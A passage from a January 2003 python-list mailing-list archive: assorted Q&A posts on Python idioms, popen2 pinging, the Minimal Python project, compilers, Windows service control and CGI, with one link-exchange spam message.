>   s+=chr(i)
> 
> has horrible performance (primarily due to string
> immutability I think).  Is there a function to do
> the ff. instead:
> 
> x=range(1,255)
> list2str(x)
> 
> and have x become a string?

Hi
everybody has one shot free.
Here is mine one:
>>> text=reduce(lambda x,y:x+chr(y),range(32,128,1),'')
>>> text
' !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f'
>>> 
regards
Peter



From p-abel at t-online.de  Sun Jan 19 16:26:34 2003
From: p-abel at t-online.de (Peter Abel)
Date: 19 Jan 2003 13:26:34 -0800
Subject: grace way to repeat a function
References: <b0dr6o$lbi$1@mail.cn99.com>
Message-ID: <13a533e8.0301191326.21b8ba45@posting.google.com>

"knightmare" <knightmare at ccxx.net> wrote in message news:<b0dr6o$lbi$1 at mail.cn99.com>...
> i'm finding a way to repeat a function.used to do like this:
> for i in range(1,10):
>     print "function"
> but i think this not graceful.anyone have good idea ?

Graceful or not is subjective.
The following could be graceful too -- or not ??

>>> print 'function\n'*10

Regards
Peter



From skip at pobox.com  Tue Jan 21 16:21:13 2003
From: skip at pobox.com (Skip Montanaro)
Date: Tue, 21 Jan 2003 15:21:13 -0600
Subject: 2D lists
In-Reply-To: <b68f71a7.0301211306.38238ae7@posting.google.com>
References: <c7486c63.0301201106.681eece8@posting.google.com>
        <9tlo2v8arqnbrbrndti7eqqf6596tg4rbb@4ax.com>
        <hVadnXEIxLEWw7GjXTWc-w@speakeasy.net>
        <b68f71a7.0301210312.2df2229f@posting.google.com>
        <mailman.1043153918.28499.python-list@python.org>
        <b68f71a7.0301211306.38238ae7@posting.google.com>
Message-ID: <15917.47561.577847.507980@montanaro.dyndns.org>

    >>> b.append(copy.copy(a))

or slightly more efficiently:

    b.append(a[:])

Copy should only be needed (and then copy.deepcopy) if you are creating
higher dimensioned arrays/lists.

Skip




From martin at v.loewis.de  Mon Jan 20 10:35:45 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 20 Jan 2003 16:35:45 +0100
Subject: Import from zip file?
References: <19804fd8.0301200235.7febb837@posting.google.com>
Message-ID: <m3r8b73kby.fsf@mira.informatik.hu-berlin.de>

k.robert at gmx.de (Robert) writes:

> What is the easyiest way to import modules/module-trees from zip
> files (Python 2.2)?

Unpack the zip file, then add the directory to sys.path.

HTH,
Martin



From andrew at indranet.co.nz  Mon Jan  6 14:50:25 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Tue, 07 Jan 2003 08:50:25 +1300
Subject: ping multiple Ips with python
In-Reply-To: <8db020b9.0301061059.73f989eb@posting.google.com>
References: <8db020b9.0301031420.25e56f3b@posting.google.com>
 <_dsR9.67891$eq2.17373053@twister.nyroc.rr.com>
 <mailman.1041650767.29913.python-list@python.org>
 <8db020b9.0301061059.73f989eb@posting.google.com>
Message-ID: <25870000.1041882625@localhost.localdomain>


--On Monday, January 06, 2003 10:59:13 -0800 ".d.hos" 
<dhostetler at sopris.net> wrote:

> when I run the script, I get the following error:
>
> Exception in thread Thread-1:
> Traceback (most recent call last):
>   File "I:\Python22\lib\threading.py", line 408, in __bootstrap
>     self.run()
>   File "I:\Python22\multi_ping.py", line 22, in run
>     child = popen2.Popen3("ping -i %i %s 2>&1" % (PING_INTERVAL,
> self.address))
> AttributeError: 'module' object has no attribute 'Popen3'
>
> Then the script continues to loop printing out "in main loop". I'm
> asssuming that the script is waiting for a response from the Pinger()
> class, and continues to loop because Pinger() never finishes
> executing?
>
> any ideas?

>From the docs:

The only way to retrieve the return codes for the child processes is by 
using the poll() or wait() methods on the Popen3 and Popen4 classes; these 
are only available on Unix.

This text is ambiguous, but I think you're being bitten by the Popen3 class 
not being there, not the specified methods.  Try popen2.popen3 (not the 
lowercase p) instead and see what happens :-)

By the way, I've never seen a ping command that will ever output 'Host is 
down', so I don't think this is portable either...

Andrew




From bac at OCF.Berkeley.EDU  Fri Jan 10 16:01:08 2003
From: bac at OCF.Berkeley.EDU (Brett Cannon)
Date: Fri, 10 Jan 2003 13:01:08 -0800 (PST)
Subject: [Python-Dev] [ann] Minimal Python project
In-Reply-To: <20030110154121.F1568@prim.han.de>
References: <20030110154121.F1568@prim.han.de>
Message-ID: <Pine.SOL.4.52.0301101258040.10048@death.OCF.Berkeley.EDU>

[holger krekel]

> Minimal Python Discussion, Coding and Sprint
> --------------------------------------------
>
> We announce a mailinglist dedicated to developing
> a "Minimal Python" version.  Minimal means that
> we want to have a very small C-core and as much
> as possible (re)implemented in python itself.  This
> includes (parts of) the VM-Code.
>

I can see this possibly being a good learning experience for people
wanting to get into Python core programming.  Obviously it won't be the
same as CPython, but since it will need to stay compatible it could easily
be a good way to understand the concepts in how the language is designed
before jumping into the full-fledged C core; this is especially true if
most of it is written in Python.

-Brett




From kim at the-lizzard.de  Fri Jan 31 03:30:14 2003
From: kim at the-lizzard.de (Andy -Kim =?ISO-8859-1?Q?M=F6ller?=)
Date: 31 Jan 2003 09:30:14 +0100
Subject: [Fwd: Re: In continuing of my question...]
Message-ID: <1044001814.6619.167.camel@orange.infosys.de>

Nicolay Vasiliev wrote:
> Also I need to ask:
> which distribution is preffered from ActiveState or python.org?

I had problems with activestate on windows nt - machines. There is only a  good support for newer os.
So i like to use the python.org - version.

 
Best regards

Kim
--
-----------------------------------------------------------
 (o_  | Andy - Kim M?ller * Linux & eCommerce - Spezialist
 //\  | Rotbuchenweg 10 * 36381 Schl?chtern * Germany
 V_/_ | Mobile: +49 179 230 285 6
-----------------------------------------------------------
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20030131/618d6934/attachment.html>

From tjreedy at udel.edu  Sat Jan 11 10:41:55 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Sat, 11 Jan 2003 10:41:55 -0500
Subject: syntax for preset locals without using dummy args with defaults
References: <avmoeu$v8p$0@216.39.172.122> <dqycnYAwFISbyIKjXTWc2Q@comcast.com> <avnssl$rlb$1@slb4.atl.mindspring.net>
Message-ID: <9cOcnTXtX7Dbob2jXTWcpw@comcast.com>

> Just so I know, do you mean like
>
> def spam(x, y=default; z=some_expression):
> ?

Yes.
tjr





From webmaster at website-hosting-web.com  Thu Jan 30 10:51:02 2003
From: webmaster at website-hosting-web.com (Webmaster)
Date: 30 Jan 2003 15:51:02 -0000
Subject: Reciprocal link request
Message-ID: <20030130155102.69746.qmail@anaconda.acceleratedweb.net>

Dear webmaster,

I am contacting you to kindly request a reciprocal link from your website.

Your link: http://www.python.org 
has been added into the following url of website-hosting-web.com:
http://www.website-hosting-web.com/Miscellaneous_Lists/index57.shtml


Should you decide to include my website in your links section, please use the following information:

URL: http://www.website-hosting-web.com
Title : Website Hosting Web - cheap web hosting and dedicated server hosting, affordable website hosting and professional web hosting.
Description: Website Hosting Web- Provide you choices of Web hosting services, affordable web hosting and dedicated hosting for all your business and ecommerce needs, cheap website hosting and professional web hosting.

HTML code
<a href="http://www.website-hosting-web.com/">Website Hosting Web - cheap web hosting and dedicated server hosting, affordable website hosting and professional web hosting.</a><br>
Website Hosting Web- Provide you choices of Web hosting services, affordable web hosting and dedicated hosting for all your business and ecommerce needs, cheap website hosting and professional web hosting.


Thanks.
webmaster at website-hosting-web.com




From cliechti at gmx.net  Mon Jan 27 15:42:16 2003
From: cliechti at gmx.net (Chris Liechti)
Date: 27 Jan 2003 21:42:16 +0100
Subject: Please Recommend a C compiler for use with Python.
References: <3E35513E.6D5CE8B5@lvcm.com> <mailman.1043682834.15953.python-list@python.org> <b13r58$82q$04$2@news.t-online.com>
Message-ID: <Xns9310DD3918994cliechtigmxnet@62.2.16.82>

"Martin v. L?wis" <martin at v.loewis.de> wrote in
news:b13r58$82q$04$2 at news.t-online.com: 

> Skip Montanaro wrote:
>>     z> I use a generic PC running Win 98.  What's a good, Easy-to-use
>>     and z> install, ANSI C compiler?  I might mention that I mainly
>>     want to z> extend Python by writing routines in C.
>> 
>> You might try Cygwin.
> 
> I'm not so sure that this is a good choice when it comes to extending 
> Python. If the standard Python distribution is to be extended, you 
> really should use MSVC 6 (if you can still get copies of that).

cygwin in mingw mode worked well for me, never had any problem.
i would recomend mingw to someone who does not want the full blown cygwin, 
but a good free compiler.

http://mingw.org/ or http://www.bloodshed.net/devcpp.html for mingw+ide.

chris

-- 
Chris <cliechti at gmx.net>




From phr-n2002b at NOSPAMnightsong.com  Fri Jan 17 03:45:48 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 17 Jan 2003 00:45:48 -0800
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com> <mailman.1042762951.20430.python-list@python.org>
Message-ID: <7x7kd46u6b.fsf@ruckus.brouhaha.com>

Andrew Bennetts <andrew-pythonlist at puzzling.org> writes:
> > will always print x's contents in the
> > same sequence.  Is there an elegant and
> > efficient way to iterate through x in
> > reverse without having to create a reversed
> > copy of it (i.e. y=x[:]; y.reverse())?
> 
> Get the Python 2.3 alpha, and it's really easy :)
> 
> >>> l = [1,2,3,4,5]
> >>> for i in l[::-1]:
> ...     print i

My guess is that the above creates a reversed copy.



From yasusii at lowlife.jp  Wed Jan 29 11:43:06 2003
From: yasusii at lowlife.jp (Yasushi Iwata)
Date: Thu, 30 Jan 2003 01:43:06 +0900 (JST)
Subject: RHSA-2002:202-25
In-Reply-To: <15927.62508.299637.944007@montanaro.dyndns.org>
References: <20030129.141438.70474179.yasusii@lowlife.jp>
	<15927.62508.299637.944007@montanaro.dyndns.org>
Message-ID: <20030130.014306.74756031.yasusii@lowlife.jp>

On Wed, 29 Jan 2003 09:33:00 -0600 you wrote:

> This is in 2.2.1 and earlier.  I believe the fix was applied to os.py
> version 1.59 last August:

Python 1.5.2 and 2.1.3 also contains the fix? 

Many people are still using 1.5.2. and Zope users are using 2.1.3. 




From donn at u.washington.edu  Wed Jan 29 12:26:22 2003
From: donn at u.washington.edu (Donn Cave)
Date: 29 Jan 2003 17:26:22 GMT
Subject: Shell chauvinism ;-D, was Re: popen4 doesn't block?
References: <xgkY9.1183$d66.119417@newsread1.prod.itd.earthlink.net> <b0sl7s$33fc$1@nntp6.u.washington.edu> <6LlY9.1314$d66.143806@newsread1.prod.itd.earthlink.net> <mailman.1043465536.2000.python-list@python.org> <7FRZ9.2637$Wu1.190926@newsread1.prod.itd.earthlink.net>
Message-ID: <b192ru$ujs$1@nntp6.u.washington.edu>

Quoth Terry Hancock <hancock at anansispaceworks.com>:
[ re Python vs. UNIX shell ]
| There's a lot of reasons. :-D  For one thing, tcsh doesn't even seem to 
| have functions -- the best you can do is make each "function" a separate 
| file.  Nasty.  I think this is what the bash folks are on about, since bash 
| evidently does have functions.

That's the least of tcsh's problems as a programming language.  You
don't need bash specifically to write decent shell scripts, any modern
Bourne shell will be fine, but bash certainly qualifies.  (Really the
best shell language is "rc", the standard shell in Bell Labs "Plan 9",
successor to UNIX - but better to love the one you're with, so to speak,
so we write to "sh" anyway.)

| In the very simple extreme of scripting a few commands, however, the Python 
| is also harder to read, IMHO.  Don't get me wrong, I'm using Python for a 
| reason, but I have not found it to be such a strong *scripting* language, 
| which I find ironic, since some people seem to think that's what it's for. 
| It's like calling the Space Shuttle an airplane, it may be able to glide 
| through the air, but that's not what it was made for.

Scripting has come to be commonly used for programming without rigor,
and unsurprisingly the term itself is used with so little rigor that
it doesn't say anything.  I think Python is fine for non-rigorous
programming, but when it comes to competing with application scripting
languages (in this sense, consider UNIX an application), the latter
is bound to have some advantages in its own domain.

	Donn Cave, donn at u.washington.edu



From tismer at tismer.com  Mon Jan 13 12:02:51 2003
From: tismer at tismer.com (Christian Tismer)
Date: Mon, 13 Jan 2003 18:02:51 +0100
Subject: [ann] Minimal Python project
In-Reply-To: <7xof6l2003.fsf@ruckus.brouhaha.com>
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042425503.8879.python-list@python.org> <7xof6l2003.fsf@ruckus.brouhaha.com>
Message-ID: <3E22F13B.3060708@tismer.com>

(copying to pypy-dev since this is an incentive)

Paul Rubin wrote:
> Christian Tismer <tismer at tismer.com> writes:
> 
>>You know what my goals are.
>>Smaller, more flexible, faster, easier to change,
>>easier to maintain, easier to keep backwards
>>compatible, more portable due to less C code,
>>down-sizeable by features (which is most difficult),
>>the full catastrophe...
> 
> 
> Well ok, it wasn't clear before what the entire set of goals were.
> 
> 
>>We will try to implement Python as exact and clean
>>as possible. The langage should be implemented
>>completely.

Now Paul is nailing thing down :-)

> Are you going to try to keep the C API backwards compatible?

I wish to, but I cant guarantee it. This is
a matter of experimentation. Fore sure, we
will try to build a version that adheres to
the C API, at least in the early bootstrap
phase, we really need to do so, in order to use
"borrowed" internals and extensions.

It then depends on experience to be gathered,
how much conformance to the C API costs. If it turns
out to be much more efficient to use a different
API, and maybe a radical change of internal
data structures as well, then TiPy (randomly picked
name from all the proposals :) is the first chance
to try such new ways at all.
This can lead to a compatibility layer (maybe hard
to implement), and these insights may become
proposals to change core Python as well.
It is also thinkable to have options in TiPy which
make even this configurable at boot time, and people
can decide whether they want it compatible or faster.

Some of the "internal" API like compiler related
functions and stuff from ceval.c will most probably
be changed, anyway, but the common API will be
as it is now. This is where we start with.

> Are you going to include exact implementations of currently
> not-really-documented features such as metaclasses?

Absolutely. I'm using metaclasses very much, and I
also will chime a compatible patch in, which allows
to use slots in metaclasses. I need that, and Stackless
has it.

> Will stuff like frame objects still work as documented?  Do you expect
> to be able to run the current version of pdb.py without changes?

Yes, for the first round, frames should be rather
like they are now. They will get more interfaces
to be manipulated by Python code.
pdb.py should run as it is now.
I know there is an issue with Psyco, which doesn't
create frames all the time. This is an issue that
need thorough discussion and design.

> I don't think you should necessarily hold yourself to any of the
> above, but that's just me.

If the above can be achieved for a reasonable
price, then we really should try. If it hurts
too much, then it may be easier to change the
rest of the world :-)

>>It will be a major amount of work to deduce the
>>dependencies of features, and how to arrange them
>>in a scalable shape. I do believe that the core
>>group will help us with that.
> 
> 
> I'm pretty excited by the project.  I think you're going to push the
> limits of the Python language harder than they've ever been pushed
> against before.  And you'll be in a unique position to actually remove
> the limits when you hit them, rather than having to work around them.
> I hope you'll trust yourself to use such opportunities when it's right
> to do so.

Thanks for the encouragement. I hope to to as
well as possible. Not loosing chances to stay
compatible, at the same time not loosing good
new opportunities by sticking too much with
old principles.
This is not easy and a balancing act. Something
that I could not do alone, and I'm happy that
there are so many supporters and people going to
help.

I'd-love-to-have-*you*-in-that-group-too -- chris

-- 
Christian Tismer             :^)   <mailto:tismer at tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/







From Mongryong at sympatico.ca  Fri Jan 24 18:15:46 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 24 Jan 2003 18:15:46 -0500
Subject: Advice Needed re: MS-DOS/Win 98 as Python environment
In-Reply-To: <3E31C787.FBAE9794@lvcm.com>
References: <3E31C787.FBAE9794@lvcm.com>
Message-ID: <1043450147.2827.16.camel@refugeeMedia>

You should consider using Cygwin - unix emulator for windows.

Go to www.cygwin.com for more information.

On Fri, 2003-01-24 at 18:06, zenguyuno at yahoo.com wrote:
> I generally run my python programs from a DOS window under Win 98.  Is
> there a better way?  (yeah, I know, use linux, but I feel I'm too old to
> relearn so much)
> 
> When I open MS-DOS the initial directory is Windows.  I can't figure out
> how to make this come up as Python22.  I know about autoexec.bat, I used
> to use it a lot, but I don't know where MS-DOS under Win 98 looks for
> the autoexec batch file to execute.  Can anyone please tell me?
> 
> Thanks,
> 
> z
> 
> -- 
> "When one enters an unplowed field he is sure to leave furrows, even if
> his plow is not of the sharpest." - Timin
> -- 
> http://mail.python.org/mailman/listinfo/python-list






From skip at pobox.com  Sat Jan 25 19:45:37 2003
From: skip at pobox.com (Skip Montanaro)
Date: Sat, 25 Jan 2003 18:45:37 -0600
Subject: Something like asynchronous XML-RPC possible?
In-Reply-To: <3e332d16$0$49106$e4fe514c@news.xs4all.nl>
References: <mailman.1043454645.26543.python-list@python.org>
        <cb035744.0301250336.4f378943@posting.google.com>
        <mailman.1043503544.26424.python-list@python.org>
        <3e332d16$0$49106$e4fe514c@news.xs4all.nl>
Message-ID: <15923.12209.609481.734062@montanaro.dyndns.org>

>>>>> "Irmen" == Irmen de Jong <irmen at NOSPAM-REMOVETHIS-xs4all.nl> writes:

    >> How "realtime" is "sort of realtime"?  Are you on a fast enough,
    >> lightly loaded enough network?

    ...

    Irmen> Interesting. Not to show off, but for comparison, I just did a
    Irmen> quick test with Pyro....

I guess we'll have to wait and see what Will's constraints are.  (I have
Perl clients and a Python server, so XML-RPC is it for me.)

Skip




From mhammond at skippinet.com.au  Thu Jan 30 16:43:14 2003
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Thu, 30 Jan 2003 21:43:14 GMT
Subject: Service Control
In-Reply-To: <slrnb3ifql.1f8.gerhard.haering@haering.opus-gmbh.net>
References: <mailman.1043937370.12355.python-list@python.org> <slrnb3ifql.1f8.gerhard.haering@haering.opus-gmbh.net>
Message-ID: <S%g_9.8247$Tu2.26667@news-server.bigpond.net.au>

Gerhard H?ring wrote:
> Hutchins, Mike <mhutchins at amr-corp.com> wrote:
> 
>>I am not trying to be rude, but did I post this to the wrong list?
> 
> 
> Maybe just nobody knew an answer, or all three people who do Windows services
> in Python are on vacation ;-)
> 
> 
>>If I posted to the wrong list, can someone suggest an alternative list
>>for a newbie like myself?
> 
> 
> You've chosen an appropriate list, as this one is about *all* things Python.
> There is, however, a python-win32 specially targeted at the win32 topic:
> http://mail.python.org/mailman/listinfo/python-win32 
> 
> Perhaps you'll have better luck there.
> 
> It's also always a good idea to post minimal code that shows the problem. And
> maybe chose a subject that will make Mark Hammond look at your message ;-)

I did ;)  But there wasnt enough information, so I was hoping someone 
else had the time and patience to extract the real problem.

The original problem:
 > I can't seem to be able to control services using win32serviceutil.
 > I keep getting
 > api_error: (1062, 'ControlService', 'The service has not been
 > started.')

It could possibly be because the service has not been started <wink>.

Eg, from Pythonwin:
 >>> win32serviceutil.StopService("Telnet")
Traceback (most recent call last):
   File "<interactive input>", line 1, in ?
   File "E:\src\pythonex\win32\Lib\win32serviceutil.py", line 336, in 
StopService
     return ControlService(serviceName, 
win32service.SERVICE_CONTROL_STOP, machine)
   File "E:\src\pythonex\win32\Lib\win32serviceutil.py", line 258, in 
ControlService
     status = win32service.ControlService(hs, code)
error: (1062, 'ControlService', 'The service has not been started.')

Indeed, the service has not been started - so let's start it!
 >>> win32serviceutil.StartService("Telnet")

Now it will stop correctly.

 >>> win32serviceutil.StopService("Telnet")
(16, 3, 3, 0, 0, 0, 0)
 >>>

Mark.




From hancock at anansispaceworks.com  Tue Jan  7 22:13:47 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Wed, 08 Jan 2003 03:13:47 GMT
Subject: Jython/Python Libs
References: <g4sS9.20725$9N5.1854174@newsread2.prod.itd.earthlink.net> <fDsS9.20773$9N5.1860123@newsread2.prod.itd.earthlink.net> <3e1ad944$0$241$ed9e5944@reading.news.pipex.net>
Message-ID: <LHMS9.19789$134.2093918@newsread1.prod.itd.earthlink.net>

TimC wrote:
> I don't think that this is as simple as it sounds: Jython comes with
> different *versions* of some standard libararies and therefore behaves
> differently from Python distributions (I've noted this in relation to
> XML where jython has some old modules from PyXML that aren't in a
> standard Python release and don't work the same as the more recent PyXML
>   - try looking at the DefaultHandler in saxutils).

I disagree, because it didn't "sound easy" ;-) 
That's why I thought I'd ask before trying it.

If things are too flakey, I'm content to ignore them. What I want is to 
document what parts work correctly.  I have a specific project (Zapplets) 
that will need a must-run-on-both coding standard, and it would obviously 
make things more feasible if I can come up with a procedure for checking.

In all probability, I don't need anything obscure. The most annoying thing 
is the GUI environment, but I have a plan to solve that already (I posted 
about this late last year, so I won't repeat).

Thanks for the help!

Cheers,
Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From fredrik at pythonware.com  Fri Jan  3 03:20:40 2003
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 03 Jan 2003 08:20:40 GMT
Subject: Why is xml.dom.minidom so slow?
References: <mailman.1041546615.4111.python-list@python.org> <mailman.1041563344.12185.python-list@python.org>
Message-ID: <sJbR9.4151$LY2.241302@newsc.telia.net>

Lulu of the Lotus-Eaters wrote:
> PyExpat is pretty darn fast.  I would be quite surprised if you could do
> several times better with a custom C++ parser.

moving the tree building from Python to C++ can easily buy you 10x,
no matter what parser you're using.

(if you think otherwise, you're seriously underestimating the cost of a
C++ -> Python call...)

</F>





From vanevery at 3DProgrammer.com  Fri Jan 31 18:21:14 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Fri, 31 Jan 2003 23:21:14 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <mailman.1043793662.28129.python-list@python.org> <CpFZ9.1212$wd2.100989@newsread2.prod.itd.earthlink.net> <gWOZ9.134330$AA2.5582397@news2.tin.it> <Y%1_9.3865$wd2.302595@newsread2.prod.itd.earthlink.net> <bK6_9.140709$AA2.5799087@news2.tin.it> <a2h_9.5383$Wu1.411649@newsread1.prod.itd.earthlink.net> <8bbd9ac3.0301302140.6938685c@posting.google.com>
Message-ID: <KxD_9.876$ek4.87836@newsread2.prod.itd.earthlink.net>

Andy Freeman wrote:
> "Brandon Van Every" <vanevery at 3DProgrammer.com> wrote in message
> news:<a2h_9.5383$Wu1.411649 at newsread1.prod.itd.earthlink.net>...
>> My contention is, if your approach is incremental and architectural,
>> Python
>> does not offer any amazing payoff over C++.  Python only gives you a
>> big
>> value add when you're trying to be more spontaneous.
>
> The point has been clear for some time.  The problem is that the
> supporting
> evidence seems to be "I think".  Meanwhile, the folks saying that the
> point is wrong have actual relevant experience.

I don't have the Python experience.  I do have the C++ experience.  You
guys' talk of the horror and gloom and doom of C++ sounds like another
planet to me.  So clearly I'm having some kind of experience in C++ that you
are not having.  What it sounds like, is you guys blow your legs off with
all the fancy C++ stuff, because you're in group environments where people
don't know how to Keep It Simple Stupid.

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From doru-cat at ifi.uio.no  Mon Jan  6 03:50:56 2003
From: doru-cat at ifi.uio.no (Doru-Catalin Togea)
Date: Mon, 6 Jan 2003 09:50:56 +0100 (MET)
Subject: Fast CGI with Python on UNIX and alternatives
Message-ID: <Pine.SOL.4.51.0301060917320.23878@einn.ifi.uio.no>

Hi!

My ISS uses UNIX web-servers, and makes Python available.

I have lots of data in a mySQL database, and have written some
Python scripts which really twist some HTML out of them.

So far I have only tested them on my Win 2000 machine with ActiveState
Python and Apache.

Skimming fast through some Perl mailing, I read there are some Perl
modules which are loaded into memory on web-servers once, and reside there
and keep serving Perl CGI scripts, in order to make them fast.

Is there anything similar available for Python? If so, is it common to
have it installed, or will I have to take it up with my ISS?

Also, just out of curiosity, can I expect my ISS to have installed Python
modules like PyXML and Optik, or will I most likely have to take it up
with my ISS and hope that they will care to install them?

Finally, I read in some articles that using <table> tags to format HTML
output is old-fashioned and that we should go over to CSS. Can a similar
argument be made for CGI and other web-interaction methods like PHP and
ASP? Is CGI old-fashioned? If so, why? Security? More intuitive
programming paradigm?

Best regards,
Catalin

--
	<<<< ================================== >>>>
	<<     We are what we repeatedly do.      >>
	<<  Excellence, therefore, is not an act  >>
	<<             but a habit.               >>
	<<<< ================================== >>>>




From sholden at holdenweb.com  Sun Jan 19 17:07:43 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Sun, 19 Jan 2003 22:07:43 GMT
Subject: isinstance is broken
References: <2259b0e2.0301180850.7421e446@posting.google.com> <7h3n0lyl3pf.fsf@pc150.maths.bris.ac.uk> <2259b0e2.0301181542.5264be68@posting.google.com>
Message-ID: <PkFW9.10584$bs2.5541@news2.central.cox.net>

"Michele Simionato" <mis6 at pitt.edu> wrote in message
news:2259b0e2.0301181542.5264be68 at posting.google.com...
[ ... ]
> Here I don't feel stupid; I didn't know that. You are saying essentially
> that c *does* inherit __new__ from object, but it cannot be accessed with
> c.__new__ due to an implementation detail (i.e. getattr looks for
__class__
> which is not there); it can be accessed via type(c) anyway.
> This is an inconsistency of old style classes: they inherits from object
> but you cannot access object methods in the usual way.
>
Indeed, old-style classes were the *only* inheritacnce mechanism until
fairely recently. Python is in the middle of what's usually referred to as
"type/class unification": when that effort's completed, the inconsistency
will go away, as all user-defined classes will inherit directly or
indirectly from object.

> Thanks to everybody for the explanations,
>
One of the nice parts about hanging round c.l.py.

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/






From maney at pobox.com  Sat Jan 11 10:47:50 2003
From: maney at pobox.com (maney at pobox.com)
Date: Sat, 11 Jan 2003 15:47:50 +0000 (UTC)
Subject: How do I get to *all* of the groups of an re search?
References: <mailman.1042258221.18149.python-list@python.org>
Message-ID: <avpeb6$k6v$1@wheel2.two14.net>

Tim Peters <tim.one at comcast.net> wrote:
> [Kyler Laird, discovers that a regexp group "in a loop" captures only
> the last place it matched]
>> ...
>> Yes, and that surprises me.  It seems so obvious that it
>> should return all matched pieces and so arbitrary that it
>> only returns the last one.
> 
> It would take potentially unbounded storage to remember all matches, and
> would also (at least) complicate the meaning of backreferences (what is \1
> supposed to match then?  "a list" of all strings ever matched by group 1?
> the catentation of them?  at least one of them?  a contigous slice of the
> string spanning the first and last places it matched?  etc).

The .net engine appears to do something like this, although the only
example I have for this (p. 431 of _Mastering Regular Expressions_, 2nd
edition) only shows it for a contiguous match, so it may or may not
actually do what Kyler wants - I just don't know.

Not that I'm really interested in promoting this, but... if it were to
be added, I would hope that backreferences would access the last of the
set of matches, preserving the existing behavior.  While this might not
be entirely surprise-free, it does score compatability points.  For
that matter, the existing API could be left unchanged, and the
additional information made available through an added interface - this
is more or less what .net does, although the exact syntax

  aMatch.Groups(2).Captures(n).Value

is a poor fit for Python's existing match object's interface, it does
suggest the sort of added interface that would be needed to handle such
an extension.

> gratuitous-novelty-is-harmful-ly y'rs  - tim

If only we could all agree on what was gratuitous and what was a Good
Idea... then again, maybe better to have the variety after all.  <wink>

-- 
A delicate balance is necessary between sticking with the things
you know and can rely upon, and exploring things which have the
potential to be better.  Assuming that either of these strategies
is the one true way is silly.  -- Graydon Hoare



From clifford.wells at attbi.com  Tue Jan 28 23:05:25 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 28 Jan 2003 20:05:25 -0800
Subject: else in list comp
Message-ID: <1043813125.19419.1408.camel@x1-6-00-04-5a-64-c4-03>

Maybe this has come up before, but I haven't heard a discussion of list
comps in a while so here's something I thought might be interesting:

I was looking for a fast, clean way of converting a single value in a
list to a different value (specifically None to '').  It occurred to me
to use a list comp and this seemed the most straightforward solution:

Given the list:

l = ['mary', 'had', 'a', 'little', None]

it should get mapped to ['mary', 'had', 'a', 'little', '']

What I thought of first:

['' for i in l if i is None else i]

Now clearly this isn't valid Python code, but it seemed natural.  The
working solution I actually used is:

[[i, ''][i is None] for i in l]

which doesn't seem nearly as nice, and likely less efficient (due to the
additional list lookup) than the non-existent alternative.

Any thoughts on something like this?  Has this come up before (I'm not
sure exactly how I'd Google for this) and been rejected?


-- 
Cliff Wells <clifford.wells at attbi.com>





From ykingma at accessforall.nl  Tue Jan  7 14:03:27 2003
From: ykingma at accessforall.nl (Ype Kingma)
Date: Tue, 07 Jan 2003 20:03:27 +0100
Subject: Jython/Python Libs
References: <g4sS9.20725$9N5.1854174@newsread2.prod.itd.earthlink.net>
Message-ID: <3e1b2914$0$147$e4fe514c@dreader7.news.xs4all.nl>

Terry Hancock wrote:

> Hi all,
> I need to survey what modules are supported in both Jython and Python
> (which is probably nearly the same as knowing which modules have no
> dependencies on C extensions).  What would be the quickest way to
> establish
> that?  (As in, is there a way to import and test them all automatically
> and report the failures, or has someone already tabulated this somewhere).
> 
> Ideally I'd also catch the few cases of modules which don't work correctly
> for language compatibility regions, but I know that can be pretty subtle.
> 
> I'm really only interested in the standard library modules -- I'll test
> any extra modules we need case-by-case anyway.
> 
> The goal is to clearly establish and document what subset of Python will
> run on either platform.

You can use python libs available from the CPython installation
by extending the Jython path with the CPython library path, so Jython will
load it's own libraries before looking for the CPython ones.

Then have Jython run the tests that come with the standard CPython
installation.

I tried this a few years ago when I started using Jython, and I have
forgotten the details. The biggest problem was locating the main test
module, ie. the one that invokes all the tests. I'm not even sure
that these tests are still distributed with CPython.

I do remember being surprised at how many tests actually passed
then. In case you can repeat this exercise I'd like to know the
results.


Have fun,
Ype

-- 
email at xs4all.nl



From tjreedy at udel.edu  Thu Jan 30 01:44:19 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 30 Jan 2003 01:44:19 -0500
Subject: Newbie: anything resembling static?
References: <mailman.1043870531.24472.python-list@python.org> <3E38960E.B7F85272@alcyone.com>
Message-ID: <At-dnfa4DPpBV6WjXTWcpQ@comcast.com>

 anton wilson wrote:

